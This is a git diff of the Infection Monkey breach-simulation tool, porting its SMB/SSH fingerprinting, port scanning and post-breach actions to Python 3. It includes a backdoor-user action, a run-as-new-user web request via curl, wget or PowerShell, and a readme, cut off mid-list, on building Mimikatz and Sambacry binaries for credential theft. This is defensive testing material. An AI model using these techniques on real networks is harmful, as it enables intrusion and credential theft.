== sys.platform: timeout /= 1000 - sub_proc = subprocess.Popen(["ping", - PING_COUNT_FLAG, - "1", - PING_TIMEOUT_FLAG, - str(timeout), host.ip_addr], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE) + sub_proc = subprocess.Popen( + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) output = " ".join(sub_proc.communicate()) regex_result = self._ttl_regex.search(output) diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index e17bf4a56..f3e1d60dd 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -3,8 +3,7 @@ import struct import logging from odict import odict -from infection_monkey.network import HostFinger -from infection_monkey.model.host import VictimHost +from infection_monkey.network.HostFinger import HostFinger SMB_PORT = 445 SMB_SERVICE = 'tcp-445' @@ -12,91 +11,98 @@ SMB_SERVICE = 'tcp-445' LOG = logging.getLogger(__name__) -class Packet(object): +class Packet: fields = odict([ ("data", ""), ]) def __init__(self, **kw): self.fields = odict(self.__class__.fields) - for k, v in kw.items(): + for k, v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) + def to_byte_string(self): + content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()] + return b"".join(content_list) -##### SMB Packets ##### +# SMB Packets class SMBHeader(Packet): fields = odict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00"), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), + ("proto", b"\xff\x53\x4d\x42"), + ("cmd", b"\x72"), + ("errorcode", b"\x00\x00\x00\x00"), + ("flag1", b"\x00"), + ("flag2", b"\x00\x00"), + ("pidhigh", b"\x00\x00"), + ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", b"\x00\x00"), + ("tid", b"\x00\x00"), + ("pid", b"\x00\x00"), + ("uid", b"\x00\x00"), + ("mid", b"\x00\x00"), ]) class SMBNego(Packet): fields = odict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), + ("wordcount", b"\x00"), + ("bcc", b"\x62\x00"), ("data", "") ]) def calculate(self): - self.fields["bcc"] = struct.pack("<h", len(str(self.fields["data"]))) + self.fields["bcc"] = struct.pack("<h", len(self.fields["data"].to_byte_string())) class SMBNegoFingerData(Packet): fields = odict([ - ("separator1", "\x02"), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2", "\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ("separator3", "\x02"), + ("separator1", b"\x02"), + ("dialect1", b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), + ("separator2", b"\x02"), + ("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), + ("separator3", b"\x02"), ("dialect3", - "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"), - ("separator4", "\x02"), - ("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), - ("separator5", "\x02"), - ("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), - ("separator6", "\x02"), - ("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"), + ("separator4", b"\x02"), + ("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), + ("separator5", b"\x02"), + ("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), + ("separator6", b"\x02"), + ("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), ]) class SMBSessionFingerData(Packet): fields = odict([ - ("wordcount", "\x0c"), - ("AndXCommand", "\xff"), - ("reserved", "\x00"), - ("andxoffset", "\x00\x00"), - ("maxbuff", "\x04\x11"), - ("maxmpx", "\x32\x00"), - ("vcnum", "\x00\x00"), - ("sessionkey", "\x00\x00\x00\x00"), - ("securitybloblength", "\x4a\x00"), - ("reserved2", "\x00\x00\x00\x00"), - ("capabilities", "\xd4\x00\x00\xa0"), + ("wordcount", b"\x0c"), + ("AndXCommand", b"\xff"), + ("reserved", b"\x00"), + ("andxoffset", b"\x00\x00"), + ("maxbuff", b"\x04\x11"), + ("maxmpx", b"\x32\x00"), + ("vcnum", b"\x00\x00"), + ("sessionkey", b"\x00\x00\x00\x00"), + ("securitybloblength", b"\x4a\x00"), + ("reserved2", b"\x00\x00\x00\x00"), + ("capabilities", b"\xd4\x00\x00\xa0"), ("bcc1", ""), ("Data", - "\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), + b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" + b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" + b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" + b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" + b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"), ]) def calculate(self): - self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] + self.fields["bcc1"] = struct.pack("<i", len(self.fields["Data"]))[:2] class SMBFinger(HostFinger): @@ -107,7 +113,6 @@ class SMBFinger(HostFinger): self._config = WormConfiguration def get_host_fingerprint(self, host): - assert isinstance(host, VictimHost) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -116,31 +121,30 @@ class SMBFinger(HostFinger): self.init_service(host.services, SMB_SERVICE, SMB_PORT) - h = SMBHeader(cmd="\x72", flag1="\x18", flag2="\x53\xc8") + h = SMBHeader(cmd=b"\x72", flag1=b"\x18", flag2=b"\x53\xc8") n = SMBNego(data=SMBNegoFingerData()) n.calculate() - Packet = str(h) + str(n) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet - s.send(Buffer) + packet_ = h.to_byte_string() + n.to_byte_string() + buffer = struct.pack(">i", len(packet_)) + packet_ + s.send(buffer) data = s.recv(2048) - if data[8:10] == "\x72\x00": - Header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00") - Body = SMBSessionFingerData() - Body.calculate() + if data[8:10] == b"\x72\x00": + header = SMBHeader(cmd=b"\x73", flag1=b"\x18", flag2=b"\x17\xc8", uid=b"\x00\x00") + body = SMBSessionFingerData() + body.calculate() - Packet = str(Header) + str(Body) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet + packet_ = header.to_byte_string() + body.to_byte_string() + buffer = struct.pack(">i", len(packet_)) + packet_ - s.send(Buffer) + s.send(buffer) data = s.recv(2048) - if data[8:10] == "\x73\x16": + if data[8:10] == b"\x73\x16": length = struct.unpack('<H', data[43:45])[0] - pack = tuple(data[47 + length:].split('\x00\x00\x00'))[:2] os_version, service_client = tuple( - [e.replace('\x00', '') for e in data[47 + length:].split('\x00\x00\x00')[:2]]) + [e.replace(b'\x00', b'').decode() for e in data[47 + length:].split(b'\x00\x00\x00')[:2]]) if os_version.lower() != 'unix': host.os['type'] = 'windows' diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py index 56779bb8f..a686d7fbd 100644 --- a/monkey/infection_monkey/network/sshfinger.py +++ b/monkey/infection_monkey/network/sshfinger.py @@ -1,8 +1,7 @@ import re import infection_monkey.config -from infection_monkey.model.host import VictimHost -from infection_monkey.network import HostFinger +from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.tools import check_tcp_port SSH_PORT = 22 @@ -34,9 +33,8 @@ class SSHFinger(HostFinger): break def get_host_fingerprint(self, host): - assert isinstance(host, VictimHost) - for name, data in host.services.items(): + for name, data in list(host.services.items()): banner = data.get('banner', '') if self._banner_regex.search(banner): self._banner_match(name, host, banner) diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py index e76c08b46..69a659bf8 100644 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ b/monkey/infection_monkey/network/tcp_scanner.py @@ -1,8 +1,9 @@ -from itertools import izip_longest +from itertools import zip_longest from random import shuffle import infection_monkey.config -from infection_monkey.network import HostScanner, HostFinger +from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.network.HostScanner import HostScanner from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service __author__ = 'itamar' @@ -11,7 +12,6 @@ BANNER_READ = 1024 class TcpScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = 'unknown(TCP)' def __init__(self): @@ -25,7 +25,8 @@ class TcpScanner(HostScanner, HostFinger): Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration. :param host: VictimHost structure :param only_one_port: Currently unused. - :return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive. + :return: T/F if there is at least one open port. + In addition, the host object is updated to mark those services as alive. """ # maybe hide under really bad detection systems @@ -34,7 +35,7 @@ class TcpScanner(HostScanner, HostFinger): ports, banners = check_tcp_ports(host.ip_addr, target_ports, self._config.tcp_scan_timeout / 1000.0, self._config.tcp_scan_get_banner) - for target_port, banner in izip_longest(ports, banners, fillvalue=None): + for target_port, banner in zip_longest(ports, banners, fillvalue=None): service = tcp_port_to_service(target_port) self.init_service(host.services, service, target_port) if banner: diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 5e448002c..5e95e20be 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -7,8 +7,7 @@ import struct import time import re -from six.moves import range - +from infection_monkey.network.info import get_routes from infection_monkey.pyinstaller_utils import get_binary_file_path from infection_monkey.utils.environment import is_64bit_python @@ -42,7 +41,7 @@ def struct_unpack_tracker_string(data, index): :param index: Position index :return: (Data, new index) """ - ascii_len = data[index:].find('\0') + ascii_len = data[index:].find(b'\0') fmt = "%ds" % ascii_len return struct_unpack_tracker(data, index, fmt) @@ -73,7 +72,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): if get_banner: read_ready, _, _ = select.select([sock], [], [], timeout) if len(read_ready) > 0: - banner = sock.recv(BANNER_READ) + banner = sock.recv(BANNER_READ).decode() except socket.error: pass @@ -96,7 +95,7 @@ def check_udp_port(ip, port, timeout=DEFAULT_TIMEOUT): is_open = False try: - sock.sendto("-", (ip, port)) + sock.sendto(b"-", (ip, port)) data, _ = sock.recvfrom(BANNER_READ) is_open = True except socket.error: @@ -116,7 +115,7 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): :return: list of open ports. If get_banner=True, then a matching list of banners. """ sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] - [s.setblocking(0) for s in sockets] + [s.setblocking(False) for s in sockets] possible_ports = [] connected_ports_sockets = [] try: @@ -160,8 +159,8 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): banners = [] if get_banner and (len(connected_ports_sockets) != 0): readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0) - # read first BANNER_READ bytes - banners = [sock.recv(BANNER_READ) if sock in readable_sockets else "" + # read first BANNER_READ bytes. We ignore errors because service might not send a decodable byte string. + banners = [sock.recv(BANNER_READ).decode(errors='ignore') if sock in readable_sockets else "" for port, sock in connected_ports_sockets] pass # try to cleanup @@ -271,3 +270,42 @@ def _traceroute_linux(target_ip, ttl): lines = [x[1:-1] if x else None # Removes parenthesis for x in lines] return lines + + +def get_interface_to_target(dst): + """ + :param dst: destination IP address string without port. E.G. '192.168.1.1.' + :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' + """ + if sys.platform == "win32": + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + s.connect((dst, 1)) + ip_to_dst = s.getsockname()[0] + except KeyError: + LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.") + ip_to_dst = '127.0.0.1' + finally: + s.close() + return ip_to_dst + else: + # based on scapy implementation + + def atol(x): + ip = socket.inet_aton(x) + return struct.unpack("!I", ip)[0] + + routes = get_routes() + dst = atol(dst) + paths = [] + for d, m, gw, i, a in routes: + aa = atol(a) + if aa == dst: + paths.append((0xffffffff, ("lo", a, "0.0.0.0"))) + if (dst & m) == (d & m): + paths.append((m, (i, a, gw))) + if not paths: + return None + paths.sort() + ret = paths[-1][1] + return ret[1] diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py index 17007f1e6..e69de29bb 100644 --- a/monkey/infection_monkey/post_breach/actions/__init__.py +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -1,11 +0,0 @@ -from os.path import dirname, basename, isfile, join -import glob - - -def get_pba_files(): - """ - Gets all files under current directory(/actions) - :return: list of all files without .py ending - """ - files = glob.glob(join(dirname(__file__), "*.py")) - return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 09c8d4796..074e31460 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -13,4 +13,3 @@ class BackdoorUser(PBA): POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 04dff1441..5519eb3d2 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -1,5 +1,4 @@ import logging -import os import random import string import subprocess @@ -11,10 +10,10 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os -PING_TEST_DOMAIN = "google.com" +INFECTION_MONKEY_WEBSITE_URL = "https://infectionmonkey.com/" -CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." -CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." +CREATED_PROCESS_AS_USER_SUCCESS_FORMAT = "Created process '{}' as user '{}' and the process succeeded." +CREATED_PROCESS_AS_USER_FAILED_FORMAT = "Created process '{}' as user '{}', but the process failed (exit status {}:{})." USERNAME_PREFIX = "somenewuser" PASSWORD = "N3WPa55W0rD!1" @@ -24,8 +23,8 @@ logger = logging.getLogger(__name__) class CommunicateAsNewUser(PBA): """ - This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People - pillar. See the relevant telemetry processing to see what findings are created. + This PBA creates a new user, and then creates HTTPS requests as that user. This is used for a Zero Trust test of the + People pillar. See the relevant telemetry processing to see what findings are created. """ def __init__(self): @@ -35,11 +34,11 @@ class CommunicateAsNewUser(PBA): username = CommunicateAsNewUser.get_random_new_user_name() try: with create_auto_new_user(username, PASSWORD) as new_user: - ping_commandline = CommunicateAsNewUser.get_commandline_for_ping() - exit_status = new_user.run_as(ping_commandline) - self.send_ping_result_telemetry(exit_status, ping_commandline, username) + http_request_commandline = CommunicateAsNewUser.get_commandline_for_http_request(INFECTION_MONKEY_WEBSITE_URL) + exit_status = new_user.run_as(http_request_commandline) + self.send_result_telemetry(exit_status, http_request_commandline, username) except subprocess.CalledProcessError as e: - PostBreachTelem(self, (e.output, False)).send() + PostBreachTelem(self, (e.output.decode(), False)).send() except NewUserError as e: PostBreachTelem(self, (str(e), False)).send() @@ -48,21 +47,35 @@ class CommunicateAsNewUser(PBA): return USERNAME_PREFIX + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) @staticmethod - def get_commandline_for_ping(domain=PING_TEST_DOMAIN, is_windows=is_windows_os()): - format_string = "PING.exe {domain} -n 1" if is_windows else "ping -c 1 {domain}" - return format_string.format(domain=domain) + def get_commandline_for_http_request(url, is_windows=is_windows_os()): + if is_windows: + format_string = \ + 'powershell.exe -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; ' \ + 'Invoke-WebRequest {url} -UseBasicParsing"' + else: + # true || false -> 0. false || true -> 0. false || false -> 1. So: + # if curl works, we're good. + # If curl doesn't exist or fails and wget work, we're good. + # And if both don't exist: we'll call it a win. + format_string = "curl {url} || wget -O/dev/null -q {url}" + return format_string.format(url=url) - def send_ping_result_telemetry(self, exit_status, commandline, username): + def send_result_telemetry(self, exit_status, commandline, username): """ - Parses the result of ping and sends telemetry accordingly. + Parses the result of the command and sends telemetry accordingly. - :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success. + :param exit_status: In both Windows and Linux, 0 exit code indicates success. :param commandline: Exact commandline which was executed, for reporting back. :param username: Username from which the command was executed, for reporting back. """ if exit_status == 0: PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() + CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)).send() else: PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send() + CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( + commandline, username, exit_status, twos_complement(exit_status)), False)).send() + + +def twos_complement(exit_status): + return hex(exit_status & (2 ** 32 - 1)) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 89417757d..7a024da3f 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -9,7 +9,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target LOG = logging.getLogger(__name__) @@ -27,6 +27,7 @@ class UsersPBA(PBA): """ Defines user's configured post breach action. """ + def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 8d7723df2..3d8da9dab 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -6,18 +6,28 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1064_telem import T1064Telem - - +from infection_monkey.utils.plugins.plugin import Plugin +import infection_monkey.post_breach.actions LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" -class PBA(object): + +class PBA(Plugin): """ Post breach action object. Can be extended to support more than command execution on target machine. """ + + @staticmethod + def base_package_name(): + return infection_monkey.post_breach.actions.__package__ + + @staticmethod + def base_package_file(): + return infection_monkey.post_breach.actions.__file__ + def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. @@ -75,13 +85,13 @@ class PBA(object): :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True).decode() if not output: output = EXECUTION_WITHOUT_OUTPUT return output, True except subprocess.CalledProcessError as e: # Return error output of the command - return e.output, False + return e.output.decode(), False @staticmethod def choose_command(linux_cmd, windows_cmd): diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index b5dfa93c7..d700bac62 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,9 +1,8 @@ import logging -import inspect -import importlib -from infection_monkey.post_breach.pba import PBA -from infection_monkey.post_breach.actions import get_pba_files +from typing import Sequence + from infection_monkey.utils.environment import is_windows_os +from infection_monkey.post_breach.pba import PBA LOG = logging.getLogger(__name__) @@ -16,11 +15,12 @@ class PostBreach(object): """ This class handles post breach actions execution """ + def __init__(self): self.os_is_linux = not is_windows_os() self.pba_list = self.config_to_pba_list() - def execute(self): + def execute_all_configured(self): """ Executes all post breach actions. """ @@ -33,25 +33,8 @@ class PostBreach(object): LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod - def config_to_pba_list(): + def config_to_pba_list() -> Sequence[PBA]: """ - Passes config to each post breach action class and aggregates results into a list. :return: A list of PBA objects. """ - pba_list = [] - pba_files = get_pba_files() - # Go through all of files in ./actions - for pba_file in pba_files: - # Import module from that file - module = importlib.import_module(PATH_TO_ACTIONS + pba_file) - # Get all classes in a module - pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) - if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] - # Get post breach action object from class - for pba_class in pba_classes: - LOG.debug("Checking if should run PBA {}".format(pba_class.__name__)) - if pba_class.should_run(pba_class.__name__): - pba = pba_class() - pba_list.append(pba) - LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__)) - return pba_list + return PBA.get_instances() diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py new file mode 100644 index 000000000..e759a4116 --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py @@ -0,0 +1,4 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +hiddenimports = collect_submodules('infection_monkey.exploit') +datas = (collect_data_files('infection_monkey.exploit', include_py_files=True)) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py new file mode 100644 index 000000000..dbc345780 --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py @@ -0,0 +1,4 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +hiddenimports = collect_submodules('infection_monkey.network') +datas = (collect_data_files('infection_monkey.network', include_py_files=True)) diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py new file mode 100644 index 000000000..97cf81bfb --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py @@ -0,0 +1,6 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +# Import all actions as modules +hiddenimports = collect_submodules('infection_monkey.system_info.collectors') +# Add action files that we enumerate +datas = (collect_data_files('infection_monkey.system_info.collectors', include_py_files=True)) diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py index d169bda6a..3e2bed17e 100644 --- a/monkey/infection_monkey/pyinstaller_utils.py +++ b/monkey/infection_monkey/pyinstaller_utils.py @@ -1,7 +1,6 @@ import os import sys - __author__ = 'itay.mizeretz' diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md new file mode 100644 index 000000000..da865c35f --- /dev/null +++ b/monkey/infection_monkey/readme.md @@ -0,0 +1,115 @@ +# Monkey island dev. env. setup guide + +>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder. +>If you want to setup dev. env. for the Monkey manually, refer to the instructions below. + +The monkey is composed of three separate parts. + +- The Infection Monkey itself - PyInstaller compressed python archives +- Sambacry binaries - Two linux binaries, 32/64 bit. +- Mimikatz binaries - Two windows binaries, 32/64 bit. +- Traceroute binaries - Two linux binaries, 32/64bit. + +## Windows + +1. Install python 3.7.4 and choose **ADD to PATH** option when installing. + + Download and install from: <https://www.python.org/ftp/python/3.7.4/> + + In case you still need to add python directories to path: + - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) + `setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts` + - Close the console, make sure you execute all commands in a new cmd console from now on. +2. Install further dependencies + - if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package + - 32bit: <https://aka.ms/vs/16/release/vc_redist.x86.exe> + - 64bit: <https://go.microsoft.com/fwlink/?LinkId=746572> +3. Download the dependent python packages using + `pip install -r requirements.txt` +4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: + <https://github.com/upx/upx/releases/download/v3.94/upx394w.zip> +5. Build/Download Sambacry and Mimikatz binaries + - Build/Download according to sections at the end of this readme. + - Place the binaries under monkey\infection_monkey\bin +6. To build the final exe: + - `cd monkey\infection_monkey` + - `build_windows.bat` + - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python + +## Linux + +Tested on Ubuntu 16.04. +0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa: + - `sudo add-apt-repository ppa:deadsnakes/ppa` + - `sudo apt-get update` + - `sudo apt install python3.7` + +1. Install dependencies by running: + - `sudo apt install python3-pip` + - `python3.7 -m pip install pip` + - `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1` + +2. Install the python packages listed in requirements.txt using pip + - `cd [code location]/infection_monkey` + - `python3.7 -m pip install -r requirements.txt` + +3. Build Sambacry binaries + - Build/Download according to sections at the end of this readme. + - Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so' + +4. Build Traceroute binaries + - Build/Download according to sections at the end of this readme. + - Place the binaries under [code location]/infection_monkey/bin, under the names 'traceroute32', 'traceroute64' + +5. To build, run in terminal: + - `cd [code location]/infection_monkey` + - `chmod +x build_linux.sh` + - `./build_linux.sh` + + output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python + +### Sambacry + +Sambacry requires two standalone binaries to execute remotely. + +1. Build sambacry binaries yourself + - Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib` + - Build the binaries + 1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner` + 2. `./build.sh` + +2. Download our pre-built sambacry binaries + - Available here: + - 32bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so> + - 64bit: <https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so> + +### Mimikatz + +Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository. + +1. Build Mimikatz yourself + - Building mimikatz requires Visual Studio 2013 and up + - Clone our version of mimikatz from <https://github.com/guardicore/mimikatz/tree/1.1.0> + - Build using Visual Studio. + - Put each version in a zip file + 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll + 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. + 3. The zip file should be named mk32.zip/mk64.zip accordingly. + 4. 